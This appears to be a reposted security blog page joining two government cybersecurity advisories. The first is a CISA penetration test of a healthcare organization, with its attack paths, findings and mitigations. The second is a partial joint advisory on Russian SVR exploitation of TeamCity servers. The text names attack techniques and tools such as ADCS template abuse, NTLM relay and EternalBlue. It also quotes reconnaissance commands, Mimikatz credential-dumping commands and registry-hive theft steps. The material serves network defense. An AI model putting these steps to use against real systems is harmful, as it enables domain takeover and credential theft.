To further demonstrate the impact of compromising ACCOUNT 1, the assessment team used it to access a virtual machine interface. If a malicious actor compromised ACCOUNT 1, they could use it to modify, power off [T1529], and/or delete critical virtual machines, including domain controllers and file servers.
Attack Path 2
The team first mapped the network to identify open web ports [T1595.001], and then attempted to access various web interfaces [T1133] with default administrator credentials. The CISA team was able to log into a printer interface with a default password and found the device was configured with domain credentials to allow employees to save scanned documents to a network share [T1080].
While logged into the printer interface as an administrator, the team 1) modified the “Save as file” configuration to use File Transfer Protocol (FTP) instead of Server Message Block (SMB) and 2) changed the Server Name and Network Path to point to a CISA-controlled machine running Responder [T1557]. Then, the team executed a “Connection Test” that sent the username and password over FTP [T1187] to the CISA machine running Responder, which captured cleartext credentials for a non-privileged domain account (ACCOUNT 2).
Using ACCOUNT 2 and Certipy[7], the team enumerated potential certificate template vulnerabilities found in Active Directory Certificate Services (ADCS). Note: ADCS templates are used to build certificates for different types of servers and other entities on an organization’s network. Malicious actors can exploit template misconfigurations [T1649] to manipulate the certificate infrastructure into issuing fraudulent certificates and/or escalate user privileges to a domain administrator.
The WebServer template was misconfigured to allow all authenticated users permission to:
Change the properties of the template (via Object Control Permissions with Write Property Principals set to Authenticated Users).
Enroll for the certificate (via Enrollment Permissions including the Authenticated Users group).
Request a certificate for a different user (via EnrolleeSuppliesSubject set as True).
See Figure 2 for the displayed certificate template misconfigurations.
The template’s Client Authentication was set to False, preventing the CISA assessment team from requesting a certificate that could be used to authenticate to a server in the domain. To demonstrate how this misconfiguration could lead to privilege escalation, the assessment team, leveraging its status as a mere authenticated user, briefly changed the WebServer template properties to set Client Authentication to True so that a certificate could be obtained for server authentication, ensuring the property was set back to its original setting of False immediately thereafter.
The team used Certipy with the ACCOUNT 2 credentials to request a certificate for a Domain Administrator account (ACCOUNT 3). The team then authenticated to the domain controller as ACCOUNT 3 with the generated certificate [T1550] and retrieved the NTLM hash for ACCOUNT 3 [T1003]. The team used the hash to authenticate to the domain controller [T1550.002] and validated Domain Administrator privileges, demonstrating compromise of the domain via the WebServer template misconfiguration.
Attack Path 3
The CISA team used a tool called CrackMapExec to spray easily guessable passwords [T1110.003] across all domain accounts and obtained two sets of valid credentials for standard domain user accounts.
The assessment team leveraged one of the domain user accounts (ACCOUNT 4) to enumerate ADCS via Certipy and found that web enrollment was enabled (see Figure 3). If web enrollment is enabled, malicious actors can abuse certain services and/or misconfigurations in the environment to coerce a server to authenticate to an actor-controlled computer, which can relay the authentication to the ADCS web enrollment service and obtain a certificate for the server’s account (known as a relay attack).
The team used PetitPotam [8] with ACCOUNT 4 credentials to force the organization’s domain controller to authenticate to the CISA-operated machine and then used Certipy to relay the coerced authentication attempt to the ADCS web enrollment service to receive a valid certificate for ACCOUNT 5, the domain controller machine account. They used this certificate to acquire a TGT [T1558] for ACCOUNT 5.
With the TGT for ACCOUNT 5, the CISA team used DCSync to dump the NTLM hash [T1003.006] for ACCOUNT 3 (a Domain Administrator account [see Attack Path 2 section]), effectively leading to domain compromise.
Attack Path 4
The CISA team identified several systems on the organization’s network that do not enforce SMB signing. The team exploited this misconfiguration to obtain cleartext credentials for two domain administrator accounts.
First, the team used Responder to capture the NTLMv2 hash for a domain administrator account. Next, they used Impacket’s NTLMrelayx tool[9] to relay the authentication for the domain administrator, opening a SOCKS connection on a host that did not enforce SMB signing. The team then used DonPAPI[10] to dump cleartext credentials through the SOCKS connection and obtained credentials for two additional domain administrator accounts.
The CISA team validated the privileges of these accounts by checking for READ,WRITE access on a domain controller C$ share [T1039], demonstrating Domain Administrator access and therefore domain compromise.
Attack Path 5
The team did vulnerability scanning [T1046] and identified a server vulnerable to CVE-2017-0144 (an Improper Input Validation [CWE-20] vulnerability known as “EternalBlue” that affects SMB version 1 [SMBv1] and enables remote code execution [see Figure 4]).
The CISA assessment team then executed a well-known EternalBlue exploit [T1210] and established a shell on the server. This shell allowed them to execute commands [T1059.003] under the context of the local SYSTEM account.
With this local SYSTEM account, CISA dumped password hashes from a Security Account Manager (SAM) database [T1003.002]. The team parsed the hashes and identified one for a local administrator account. Upon parsing the contents of the SAM database dump, the CISA team identified an NTLM hash for the local administrator account, which can be used to authenticate to various services.
The team sprayed the acquired NTLM hash across a network segment and identified multiple instances of password reuse allowing the team to access various resources including sensitive information with the hash.
Findings
Key Issues
The CISA assessments team identified several findings as potentially exploitable vulnerabilities that could compromise the confidentiality, integrity, and availability of the tested environment. Each finding, listed below, includes a description with supporting details. See the Mitigations section for recommendations on how to mitigate these issues.
The CISA team rated their findings on a severity scale from critical to informational (see Table 2).
Table 2: Severity Rating Criteria
Severity
Description
Critical
Critical vulnerabilities pose an immediate and severe risk to the environment because of the ease of exploitation and potential impact. Critical items are reported to the customer immediately.
High
Malicious actors may be able to exercise full control on the targeted device.
Medium
Malicious actors may be able to exercise some control of the targeted device.
Low
The vulnerabilities discovered are reported as items of interest but are not normally exploitable. Many low items reported by security tools are not included in this report because they are often informational, unverified, or of minor risk.
Informational
These vulnerabilities are potential weaknesses within the system that cannot be readily exploited. These findings represent areas that the customer should be cognizant of, but do not require any immediate action.
The CISA assessment team identified four High severity vulnerabilities and one Medium severity vulnerability during penetration testing that contributed to the team’s ability to compromise the domain. See Table 3 for a list and description of these findings.
Table 3: Key Issues Contributing to Domain Compromise
As part of their assessment, the team reviewed the organization’s domain password policy and found it was weak because the minimum password length was set to 8 characters. Passwords less than 15 characters without randomness are easily crackable, and malicious actors with minimal technical knowledge can use these credentials to access the related services.
The assessment team was able to easily crack many passwords throughout the assessment to move laterally and increase access within the domain. Specifically, the team:
Cracked the NTLMv2 hash for a domain account, and subsequently accessed the domain. (See the Attack Path 1 section.)
Cracked the password hash (obtained via Kerberoasting) of a domain administrator account and subsequently compromised the domain. (See the Attack Path 1 section.)
Poor Credential Hygiene: Guessable Credentials
High
Penetration Testing
As part of the penetration test, the assessment team tested to see if one or more services is accessible using a list of enumerated usernames alongside an easily guessed password. The objective is to see if a malicious actor with minimal technical knowledge can use these credentials to access the related services, enabling them to move laterally or escalate privileges. Easily guessable passwords are often comprised of common words, seasons, months and/or years, and are sometimes combined with special characters. Additionally, phrases or names that are popular locally (such as the organization being tested or a local sports teams) may also be considered easily guessable.
The team sprayed common passwords against domain user accounts and obtained valid credentials for standard domain users. (See the Attack Path 3 section.) (Cracking was not necessary for this attack.)
Misconfigured ADCS Certificate Templates
High
Penetration Testing
The team identified a WebServer template configured to allow all authenticated users permission to change the properties of the template and obtain certificates for different users. The team exploited the template to acquire a certificate for a Domain Administrator account (see the Attack Path 2 section).
Unnecessary Network Services Enabled
High
Penetration Testing
Malicious actors can exploit security vulnerabilities and misconfigurations in network services, especially legacy services.
The assessment team identified legacy name resolution protocols (e.g., NetBIOS, LLMNR, mDNS) enabled in the network, and abused LLMNR to capture NTLMv2 hashes, which they then cracked and used for domain access. (See the Attack Path 1 section.)
The team also identified an ADCS server with web enrollment enabled and leveraged it to compromise the domain through coercion and relaying. (See Attack Path 3 section.)
Additionally, the team identified hosts with WebClient and Spooler services, which are often abused by malicious actors to coerce authentication.
Elevated Service Account Privileges
High
Penetration Testing
Applications often require user accounts to operate. These user accounts, which are known as service accounts, often require elevated privileges. If an application or service running with a service account is compromised, an actor may have the same privileges and access as the service account.
The CISA team identified a service account with Domain Administrator privileges and used it to access the domain after cracking its password (See the Attack Path 1 section).
SMB Signing Not Enabled
High
Penetration Testing
The CISA team identified several systems on the organization’s network that do not enforce SMB signing and exploited this for relayed authentication to obtain cleartext credentials for two domain administrator accounts.
Many off-the-shelf applications are released with built-in administrative accounts using predefined credentials that can often be found with a simple web search. Malicious actors with minimal technical knowledge can use these credentials to access the related services.
During testing, the CISA team identified multiple web interfaces with default administrator credentials and used default credentials for a printer interface to capture domain credentials of a non-privileged domain account. (See the Attack Path 2 section.)
In addition to the issues listed above, the team identified three High and seven Medium severity findings. These vulnerabilities and misconfigurations may allow a malicious actor to compromise the confidentiality, integrity, and availability of the tested environment. See Table 4 for a list and description of these findings.
Table 4: Additional Key Issues
Issue
Severity
Service
Description
Poor Credential Hygiene: Password Reuse for Administrator and User Accounts
High
Penetration Testing
Elevated password reuse is when an administrator uses the same password for their user and administrator accounts. If the user account password is compromised, it can be used to gain access to the administrative account.
The assessment team identified an instance where the same password was set for an admin user’s administrative account as well as their standard user account.
Poor Credential Hygiene: Password Reuse for Administrator Accounts
Medium
Penetration Testing
If administrator passwords are the same for various administrator accounts, malicious actors can use the password to access all systems that share this credential after compromising one account.
The assessment team found multiple instances of local administrator accounts across various systems using the same password.
Poor Patch Management: Out-of-Date Software
High
Penetration Testing
Patches and updates are released to address existing and emerging security vulnerabilities, and failure to apply the latest leaves systems open to attack with publicly available exploits. (The risk presented by missing patches and updates depends on the severity of the vulnerability).
The assessment team identified several unpatched systems including instances of CVE-2019-0708 (known as “BlueKeep”) and EternalBlue.
The team was unable to successfully compromise the systems with BlueKeep, but they did exploit EternalBlue on a server to implant a shell on a server with local SYSTEM privileges (see the Attack Path 5 section).
Poor Patch Management: Unsupported OS or Application
High
Penetration Testing
Using software or hardware that is no longer supported by the vendor poses a significant security risk because new and existing vulnerabilities are no longer patched). There is no way to address security vulnerabilities on these devices to ensure that they are secure. The overall security posture of the entire network is at risk because an attacker can target these devices to establish an initial foothold into the network.
The assessment team identified end-of-life (EOL) Windows Server 2008 R2 and Windows Server 2008 and Windows 5.1.
Use of Weak Authentication Measures
Medium
Penetration Testing
Applications may have weak or broken mechanisms to verify user identity before granting user access to protected functionalities. Malicious actors can exploit these to bypass authentication and gain access to use application resources and functionality.
The assessment team abused the Cisco Smart Install protocol to obtain configuration files for several Cisco devices on the organization’s network. These files contained encrypted Cisco passwords. (The CISA team was unable to crack these passwords within the assessment timeframe.)
PII Disclosure
Medium
Penetration Testing
The assessment team identified an unencrypted Excel file containing PII on a file share.
Hosts with Unconstrained Delegation Enabled Unnecessarily
Medium
Penetration Testing
The CISA team identified two systems that appeared to be configured with Unconstrained Delegation enabled. Hosts with Unconstrained Delegation enabled store the Kerberos TGTs of all users that authenticate to that host, enabling actors to steal service tickets or compromise krbtgt accounts and perform golden ticket or silver ticket attacks.
Although the assessment team was unable to fully exploit this configuration because they lost access to one of the vulnerable hosts, it could have led to domain compromise under the right circumstances.
Cleartext Password Disclosure
Medium
Penetration Testing
Storing passwords in cleartext is a security risk because malicious actors with access to these files can use them.
The assessment team identified several unencrypted files on a file share containing passwords for various personal and organizational accounts.
Insecure File Shares
Medium
Penetration Testing
Access to sensitive data (e.g., data related to business functions, IT functions, and/or personnel) should be restricted to only certain authenticated and authorized users.
The assessment team found an unsecured directory on a file share with sensitive IT information. The directory was accessible to all users in the domain group. Malicious actors with user privileges could access and/or exfiltrate this data.
Additional Issues
The CISA team identified one Informational severity within the organization’s networks and systems. These issues may allow a malicious actor to compromise the confidentiality, integrity, and availability of the tested environment, but are not readily exploitable. The information provided is to encourage the stakeholder to investigate these issues further to adjust their environments or eliminate certain aspects as needed, but the urgency is low.
Table 5: Informational Issues That CISA Team Noted
Issue
Severity
Service
Description
Overly Permissive Accounts
Informational
Penetration Testing
Account privileges are intended to control user access to host or application resources to limit access to sensitive information in support of a least-privilege security model. When user (or other) accounts have high privileges, users can see and/or do things they normally should not, and malicious actors can exploit this to access host and application resources.
The assessment team identified Active Directory objects where the Human Resources group appeared to be part of the privileged Account Operators group. This may have provided elevated privileges to accounts in the Human Resources group. (The CISA team was unable to validate and demonstrate the potential impact of this relationship within the assessment period).
Noted Strengths
The CISA team noted the following business, technical, and administrative components that enhanced the network security posture of the tested environment:
The organization’s network was found to have several strong, security-oriented characteristics such as:
Effective antivirus software;
Endpoint detection and response capabilities;
Good policies and best practices for protecting users from malicious files including not allowing users to mount ISO files;
Minimal external attack surface, limiting an adversary’s ability to leverage external vulnerabilities to gain initial access to the organization’s networks and systems;
Strong wireless protocols;
And network segmentation.
The organization’s security also demonstrated their ability to detect some of the CISA team’s actions throughout testing and overall situational awareness through the use of logs and alerts.
The organization used MFA for cloud accounts. The assessment team obtained cloud credentials via a phishing campaign but was unable to use them because of MFA prompts.
MITIGATIONS
Network Defenders
CISA recommends HPH Sector and other critical infrastructure organizations implement the mitigations in Table 6 to mitigate the issues listed in the Findings section of this advisory. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.
Table 6: Recommendations to Mitigate Identified Issues
Follow National Institute of Standards and Technologies (NIST) guidelineswhen creating password policies to enforce use of “strong” passwords that cannot be cracked [CPG 2.B].[11] Consider using password managers to generate and store passwords.
Use “strong” passphrases for private keys to make cracking resource intensive [CPG 2.B]. Do not store credentials within the registry in Windows systems. Establish an organizational policy that prohibits password storage in files.
Ensure adequate password length (ideally 15+ characters) and complexity requirements for Windows service accounts and implement passwords with periodic expiration on these accounts [CPG 2.B]. Use Managed Service Accounts, when possible, to manage service account passwords automatically.
Poor Credential Hygiene: Guessable Credentials
Do not reuse local administrator account passwords across systems. Ensure that passwords are “strong” and unique [CPG 2.C].
Use phishing-resistant multi-factor authentication (MFA) for all administrative access, including domain administrative access [CPG 2.H]. If an organization that uses mobile push-notification-based MFA is unable to implement phishing-resistant MFA, use number matching to mitigate MFA fatigue. For more information, see CISA fact sheets on Implementing Phishing-Resistant MFA and Implementing Number Matching in MFA Applications.
Misconfigured ADCS Certificate Templates
Restrict enrollment rights in templates to only those users or groups that require it. Remove the Enrollee Supplies Subject flag from templates if it is not necessary or enforce manager approval if required. Consider removing Write Owner, Write DACL and Write Property permissions from low-privilege groups, such as Authenticated Users where those permissions are not needed.
Unnecessary Network Services Enabled
Ensure that only ports, protocols, and services with validated business needs are running on each system. Disable deprecated protocols (including NetBIOS, LLMNR, and mDNS) on the network that are not strictly necessary for business functions, or limit the systems and services that use the protocol, where possible [CPG 2.W].
Disable the WebClient and Spooler services where possible to minimize risk of coerced authentication.
Disable ADCS web-enrollment services. If this service cannot be disabled, disable NTLM authentication to prevent malicious actors from performing NTLM relay attacks or abusing the Spooler and WebClient services to coerce and relay authentication to the web-enrollment service.
Elevated Service Account Privileges
Run daemon applications using a non-Administrator account when appropriate.
Configure Service accounts with only the permissions necessary for the services they operate.
To mitigate Kerberoasting attacks, use AES or stronger encryption instead of RC4 for Kerberos hashes [CPG 2.K]. RC4 is considered weak encryption.
SMB Signing Not Enabled
Require SMB signing for both SMB client and server on all systems to prevent certain adversary-in-the-middle and pass-the-hash attacks. See Microsoft’s Overview of Server Message Block signing for more information.
Verify the implementation of appropriate hardening measures, and change, remove, or deactivate all default credentials [CPG 2.A].
Before deploying any new devices in a networked environment, change all default passwords for applications, operating systems, routers, firewalls, wireless access points, and other systems to have values consistent with administration-level accounts [CPG 2.A].
Poor Credential Hygiene: Password Reuse for Administrator and User Accounts
Discontinue reuse or sharing of administrative credentials among user/administrative accounts [CPG 2.C].
Use unique credentials across workstations, when possible,in accordance with applicable federal standards, industry best practices, and/or agency-defined requirements.
Train users, especially privileged users, against password reuse [CPG 2.I].
Poor Credential Hygiene: Password Reuse for Administrator Accounts
Discontinue reuse or sharing of administrative credentials among systems [CPG 2.C]. When possible, use unique credentials across all workstations in accordance with applicable federal standards, industry best practices, and/or agency-defined requirements.
Implement a security awareness program that focuses on the methods commonly used in intrusions that can be blocked through individual action [CPG 2.I].
Implement Local Administrator Password Solution (LAPS) where possible if your OS is older than Windows Server 2019 and Windows 10 as these versions do not have LAPS built in. Note: The authoring organizations recommend organizations upgrade to Windows Server 2019 and Windows 10 or greater.
Poor Patch Management: Out-of-Date Software
Enforce consistent patch management across all systems and hosts within the network environment [CPG 1.E].
Where patching is not possible due to limitations, implement network segregation controls [CPG 2.F] to limit exposure of the vulnerable system or host.
Consider deploying automated patch management tools and software update tools for operating system and software/applications on all systems for which such tools are available and safe.
Poor Patch Management: Unsupported OS or Application
Evaluate the use of unsupported hardware and software and discontinue where possible. If discontinuing the use of unsupported hardware and software is not possible, implement additional network protections to mitigate the risk.
Use of Weak Authentication Measures
Require phishing-resistant MFA for all user accounts that have access to sensitive data or systems. If MFA is not possible, it is recommended to, at a minimum, configure a more secure password policy by aligning with guidelines put forth by trusted entities such as NIST [CPG 2.H].
PII Disclosure
Implement a process to review files and systems for insecure handling of PII [CPG 2.L].Properly secure or remove the information. Conduct periodic scans of server machines using automated tools to determine whether sensitive data (e.g., personally identifiable information, health, credit card, or classified information) is present on the system in cleartext.
Encrypt PII and other sensitive data, and train users who handle sensitive data to utilize best practices for encrypting data and storing it securely. If sensitive data must be stored on shares or other locations, restrict access to these locations as much as possible through access controls and network segmentation [CPG 2.F, 2.K, 2.L].
Hosts with Unconstrained Delegation Enabled Unnecessarily
Remove Unconstrained Delegation from all servers. If Unconstrained Delegation functionality is required, upgrade operating systems and applications to leverage other approaches (e.g., configure Constrained Delegation, enable the Account is sensitive and cannot be delegated option) or explore whether systems can be retired or further isolated from the enterprise. CISA recommends Windows Server 2019 or greater.
Cleartext Password Disclosure
Implement a review process for files and systems to look for cleartext account credentials. When credentials are found, remove or change them to maintain security [CPG 2.L].
Conduct periodic scans of server machines using automated tools to determine whether sensitive data (e.g., personally identifiable information, health, credit card, or classified information) is present on the system in cleartext. Consider implementing a secure password manager solution in cases where passwords need to be stored [CPG 2.L].
Insecure File Shares
Restrict access to file shares containing sensitive data to only certain authenticated and authorized users [CPG 2.L].
Additionally, CISA recommends that HPH sector organizations implement the following strategies to mitigate cyber threats:
Mitigation Strategy #1 Asset Management and Security:
CISA recommends that HPH sector organizations implement and maintain an asset management policy to reduce the risk of exposing vulnerabilities, devices, or services that could be exploited by threat actors to gain unauthorized access, steal sensitive data, or disrupt critical services. The focus areas for this mitigation strategy include asset management and asset security, addressing asset inventory, procurement, decommissioning, and network segmentation as they relate to hardware, software, and data assets.
Mitigation Strategy #2 Identity Management and Device Security:
CISA recommends entities secure their devices and digital accounts and manage their online access to protect sensitive data and PII/PHI from compromise. The focus areas for this mitigation strategy include email security, phising prevention, access management, password policies, data protection and loss prevention, and device logs and monitoring solutions.
Mitigation Strategy #3 Vulnerability, Patch, and Configuration Management:
CISA recommends entities mitigate known vulnerabilities and establish secure configuration baselines to reduce the likelihood of threat actors exploiting known vulnerabilities to breach organizational networks. The focus areas for this mitigation strategy include vulnerability and patch Management, and configuration and change management.
The above mitigations apply to HPH sector and other critical infrastructure organizations with on-premises or hybrid environments. Recognizing that insecure software is the root cause of the majority of these flaws, and that the responsibility should not be on the end user, CISA urges software manufacturers to implement the following to reduce the prevalence of misconfigurations, weak passwords, and other weaknesses identified and exploited through the assessment team:
Embed security into product architecture throughout theentire software development lifecycle (SDLC).
Eliminate default passwords. Do not provide software with default passwords. To eliminate default passwords, require administrators set a “strong” password [CPG 2.B] during installation and configuration.
Create secure configuration templates. Provide configuration templates with certain safe settings based on an organization’s risk appetite (e.g., low, medium, and high security templates). Support these templates with hardening guides based on the risks the manufacturer has identified. The default configuration should be a secure one, and organizations should need to opt in if they desire a less secure configuration.
Design products so that the compromise of a single security control does not result in compromise of the entire system. For example, narrowly provision user privileges by default and employ ACLs to reduce the impact of a compromised account. This will make it more difficult for a malicious cyber actor to escalate privileges and move laterally.
These mitigations align with tactics provided in the joint guide Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software. CISA urges software manufacturers to take ownership of improving the security outcomes of their customers by applying these and other secure by design tactics. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing security software and logs, monitoring, and making routine updates.
In addition to applying the listed mitigations, CISA recommends exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA recommends testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:
Select an ATT&CK technique described in this advisory (see Tables 7 – 16).
Align your security technologies against the technique.
Test your technologies against the technique.
Analyze your detection and prevention technologies’ performance.
Repeat the process for all security technologies to obtain a set of comprehensive performance data.
Tune your security program, including people, processes, and technologies, based on the data generated by this process.
CISA recommends continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
The CISA team did identify default credentials for multiple web interfaces during web application testing and used default printer credentials while penetration testing.
The CISA team accessed a virtual machine interface enabling them to modify, power off, and/or delete critical virtual machines including domain controllers, file servers, and servers.
Command and Scripting Interpreter: Windows Command Shell
The CISA team modified the “Save as file” configuration, to use File Transfer Protocol (FTP) instead of Server Message Block (SMB) and changed the Server Name and Network Path to point to a CISA-controlled machine running Responder.
The CISA team used the hash to authenticate to the domain controller and validated Domain Administrator privileges, demonstrating compromise of the domain.
The CISA team used a tool called CrackMapExec to spray easily guessable passwords across all domain accounts, giving them two sets of valid credentials.
The CISA team assessed that with ACCOUNT 1, they could use it to modify, power off, and/or delete critical virtual machines, including domain controllers and file servers.
https://ankaa-pmo.com/wp-content/uploads/2017/04/Logo-Ankaa-engineering.png00Service comm.https://ankaa-pmo.com/wp-content/uploads/2017/04/Logo-Ankaa-engineering.pngService comm.2023-12-14 01:24:482023-12-14 01:24:48Enhancing Cyber Resilience: Insights from the CISA Healthcare and Public Health Sector Risk and Vulnerability Assessment
The U.S. Federal Bureau of Investigation (FBI), U.S. Cybersecurity & Infrastructure Security Agency (CISA), U.S. National Security Agency (NSA), Polish Military Counterintelligence Service (SKW), CERT Polska (CERT.PL), and the UK’s National Cyber Security Centre (NCSC) assess Russian Foreign Intelligence Service (SVR) cyber actors—also known as Advanced Persistent Threat 29 (APT 29), the Dukes, CozyBear, and NOBELIUM/Midnight Blizzard—are exploiting CVE-2023-42793 at a large scale, targeting servers hosting JetBrains TeamCity software since September 2023.
Software developers use TeamCity software to manage and automate software compilation, building, testing, and releasing. If compromised, access to a TeamCity server would provide malicious actors with access to that software developer’s source code, signing certificates, and the ability to subvert software compilation and deployment processes—access a malicious actor could further use to conduct supply chain operations. Although the SVR used such access to compromise SolarWinds and its customers in 2020, limited number and seemingly opportunistic types of victims currently identified, indicate that the SVR has not used the access afforded by the TeamCity CVE in a similar manner. The SVR has, however, been observed using the initial access gleaned by exploiting the TeamCity CVE to escalate its privileges, move laterally, deploy additional backdoors, and take other steps to ensure persistent and long-term access to the compromised network environments.
To bring Russia’s actions to public attention, the authoring agencies are providing information on the SVR’s most recent compromise to aid organizations in conducting their own investigations and securing their networks, provide compromised entities with actionable indicators of compromise (IOCs), and empower private sector cybersecurity companies to better detect and counter the SVR’s malicious actions. The authoring agencies recommend all organizations with affected systems that did not immediately apply available patches or workarounds to assume compromise and initiate threat hunting activities using the IOCs provided in this CSA. If potential compromise is detected, administrators should apply the incident response recommendations included in this CSA and report key findings to the FBI and CISA.
SVR cyber operations pose a persistent threat to public and private organizations’ networks globally. Since 2013, cybersecurity companies and governments have reported on SVR operations targeting victim networks to steal confidential and proprietary information. A decade later, the authoring agencies can infer a long-term targeting pattern aimed at collecting, and enabling the collection of, foreign intelligence, a broad concept that for Russia encompasses information on the politics, economics, and military of foreign states; science and technology; and foreign counterintelligence. The SVR also conducts cyber operations targeting technology companies that enable future cyber operations.
A decade ago, public reports about SVR cyber activity focused largely on the SVR’s spear phishing operations, targeting government agencies, think tanks and policy analysis organizations, educational institutions, and political organizations. This category of targeting is consistent with the SVR’s responsibility to collect political intelligence, the collection of which has long been the SVR’s highest priority. For the Russian Government, political intelligence includes not only the development and execution of foreign policies, but also the development and execution of domestic policies and the political processes that drive them. In December 2016, the U.S. Government published a Joint Analysis Report titled “GRIZZLY STEPPE – Russian Malicious Cyber Activity,” which describes the SVR’s compromise of a U.S. political party leading up to a presidential election. The SVR’s use of spear phishing operations are visible today in its ongoing Diplomatic Orbiter campaign, primarily targeting diplomatic agencies. In 2023, SKW and CERT.PL published a Joint Analysis Report describing tools and techniques used by the SVR to target embassies in dozens of countries.
Less frequently, reporting on SVR cyber activity has addressed other aspects of the SVR’s foreign intelligence collection mission. In July 2020, U.S., U.K., and Canadian Governments jointly published an advisory revealing the SVR’s exploitation of CVEs to gain initial access to networks, and its deployment of custom malware known as WellMess, WellMail, and Sorefang to target organizations involved in COVID-19 vaccine development. Although not listed in the 2020 advisory did not mention it, the authoring agencies can now disclose that the SVR’s WellMess campaign also targeted energy companies. Such biomedical and energy targets are consistent with the SVR’s responsibility to support the Russian economy by pursuing two categories of foreign intelligence known as economic intelligence and science and technology.
In April 2021, the U.S. Government attributed a supply chain operation targeting the SolarWinds information technology company and its customers to the SVR. This attribution marked the discovery that the SVR had, since at least 2018, expanded the range of its cyber operations to include the widespread targeting of information technology companies. At least some of this targeting was aimed at enabling additional cyber operations. Following this attribution, the U.S. and U.K. Governments published advisories highlighting additional SVR TTPs, including its exploitation of various CVEs, the SVR’s use of “low and slow” password spraying techniques to gain initial access to some victims’ networks, exploitation of a zero-day exploit, and exploitation of Microsoft 365 cloud environments.
In this newly attributed operation targeting networks hosting TeamCity servers, the SVR demonstrably continues its practice of targeting technology companies. By choosing to exploit CVE-2023-42793, a software development program, the authoring agencies assess the SVR could benefit from access to victims, particularly by allowing the threat actors to compromise the networks of dozens of software developers. JetBrains issued a patch for this CVE in mid-September 2023, limiting the SVR’s operation to the exploitation of unpatched, Internet-reachable TeamCity servers. While the authoring agencies assess the SVR has not yet used its accesses to software developers to access customer networks and is likely still in the preparatory phase of its operation, having access to these companies’ networks presents the SVR with opportunities to enable hard-to- detect command and control (C2) infrastructure.
TECHNICAL DETAILS
Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK® tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool. While SVR followed a similar playbook in each compromise, they also adjusted to each operating environment and not all presented steps or actions below were executed on every host.
Initial Access – Exploitation
The SVR started to exploit Internet-connected JetBrains TeamCity servers [T1190] in late September 2023 using CVE-2023-42793, which enables the insecure handling of specific paths allowing for bypassing authorization, resulting in arbitrary code execution on the server. The authoring agencies’ observations show that the TeamCity exploitation usually resulted in code execution [T1203] with high privileges granting the SVR an advantageous foothold in the network environment. The authoring agencies are not currently aware of any other initial access vector to JetBrains TeamCity currently being exploited by the SVR.
Host Reconnaissance
Initial observations show the SVR used the following basic, built-in commands to perform host reconnaissance [T1033],[T1059.003],[T1592.002]:
whoami /priv
whoami /all
whoami /groups
whoami /domain
nltest -dclist
nltest -dsgetdc
tasklist
netstat
wmic /node:””“” /user:””“” /password:””“” process list brief
wmic /node:””“” process list brief
wmic process get commandline -all
wmic process get commandline
wmic process where name=””GoogleCrashHandler64.exe”” get commandline,processed
Additionally, the authoring agencies have observed the SVR exfiltrating files [T1041] which may provide insight into the host system’s operating system:
C:Windowssystem32ntoskrnl.exe to precisely identify system version, likely as a prerequisite to deploy EDRSandBlast.
SQL Server executable files – based on the review of the post exploitation actions, the SVR showed an interest in specific files of the SQL Server installed on the compromised systems:
Update management agent files – based on the review of the post exploitation actions, the SVR showed an interest in executables and configuration of patch management software:
SVR cyber actors also exfiltrated secforwarder.dll
Tactics Used to Avoid Detection
To avoid detection, the SVR used a “Bring Your Own Vulnerable Driver” [T1068] technique to disable or outright kill endpoint detection and response (EDR) and antivirus (AV) software [T1562.001].
This was done using an open source project called “EDRSandBlast.” The authoring agencies have observed the SVR using EDRSandBlast to remove protected process light (PPL) protection, which is used for controlling and protecting running processes and protecting them from infection. The actors then inject code into AV/EDR processes for a small subset of victims [T1068]. Additionally, executables that are likely to be detected (i.e. Mimikatz) were executed in memory [T1003.001].
In several cases SVR attempted to hide their backdoors via:
Abusing a DLL hijacking vulnerability in Zabbix software by replacing a legitimate Zabbix DLL with their one containing GraphicalProton backdoor,
Backdooring an open source application developed by Microsoft named vcperf. SVR modified and copied publicly available sourcecode. After execution, backdoored vcperf dropped several DLLs to disc, one of those being a GraphicalProton backdoor,
Abusing a DLL hijacking vulnerability in Webroot antivirus software by replacing a legitimate DLL with one containing GraphicalProton backdoor.
To avoid detection by network monitoring, the SVR devised a covert C2 channel that used Microsoft OneDrive and Dropbox cloud services. To further enable obfuscation, data exchanged with malware via OneDrive and Dropbox were hidden inside randomly generated BMP files [T1564], illustrated below:
Privilege Escalation
To facilitate privilege escalation [T1098], the SVR used multiple techniques, including WinPEAS, NoLMHash registry key modification, and the Mimikatz tool.
The SVR modified the NoLMHash registry using the following reg command:
The SVR used the following Mimikatz commands [T1003]:
privilege::debug
lsadump::cache
lsadump::secrets
lsadump::sam
sekurlsa::logonpasswords
Persistence
The SVR relied on scheduled tasks [T1053.005] to secure persistent execution of backdoors. Depending on the privileges the SVR had, their executables were stored in one of following directories:
C:Windowstemp
C:WindowsSystem32
C:WindowsWinStore
The SVR made all modifications using the schtasks.exe binary. It then had multiple variants of arguments passed to schtasks.exe, which can be found in Appendix B – Indicators of Compromise.
To secure long-term access to the environment, the SVR used the Rubeus toolkit to craft Ticket Granting Tickets (TGTs) [T1558.001].
The SVR exfiltrated the following Windows Registry hives from its victims [T1003]:
HKLMSYSTEM
HKLMSAM
HKLMSECURITY
In order to exfiltrate Windows Registry, the SVR saved hives into files [T1003.002], packed them, and then exfiltrated them using a backdoor capability. it used “reg save” to save SYSTEM, SAM and SECURITY registry hives, and used powershell to stage .zip archives in the C:WindowsTemp directory.
In a few specific cases, the SVR used the SharpChromium tool to obtain sensitive browser data such as session cookies, browsing history, or saved logins.
